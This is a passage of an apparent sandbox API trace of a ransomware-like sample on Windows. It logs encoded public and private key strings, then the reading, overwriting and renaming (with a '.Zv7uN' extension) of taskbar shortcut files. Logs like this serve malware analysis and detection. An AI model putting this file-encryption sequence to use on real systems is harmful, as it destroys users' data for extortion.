NFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0127.810] GetCurrentThreadId () returned 0xa30 [0127.810] GetCurrentThreadId () returned 0xa30 [0127.810] GetCurrentThreadId () returned 0xa30 [0127.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.811] GetCurrentThreadId () returned 0xa30 [0127.811] GetCurrentThreadId () returned 0xa30 [0127.811] GetCurrentThreadId () returned 0xa30 [0127.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.812] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.812] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.812] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x5ad [0127.812] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.812] ReadFile (in: hFile=0x128, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x5ad, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f96c*=0x5ad, lpOverlapped=0x0) returned 1 [0127.814] CloseHandle (hObject=0x128) returned 1 [0127.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.818] WriteFile (in: hFile=0x128, lpBuffer=0x1f01f70*, nNumberOfBytesToWrite=0x5ad, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f01f70*, lpNumberOfBytesWritten=0x18f978*=0x5ad, lpOverlapped=0x0) returned 1 [0127.821] CloseHandle (hObject=0x128) returned 1 [0127.821] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer (2).lnk.zv7un")) returned 1 [0127.825] GetCurrentThreadId () returned 0xa30 [0127.825] GetCurrentThreadId () returned 0xa30 [0127.825] GetCurrentThreadId () returned 0xa30 [0127.825] GetCurrentThreadId () returned 0xa30 [0127.825] GetCurrentThreadId () returned 0xa30 [0127.825] GetCurrentThreadId () returned 0xa30 [0127.825] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x630069, dwReserved1=0x20006b, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0127.825] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.825] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9)) returned 1 [0127.829] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk")) returned 0x20 [0127.829] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk", dwFileAttributes=0x80) returned 1 [0127.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.832] GetCurrentThreadId () returned 0xa30 [0127.832] GetCurrentThreadId () returned 0xa30 [0127.833] GetCurrentThreadId () returned 0xa30 [0127.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 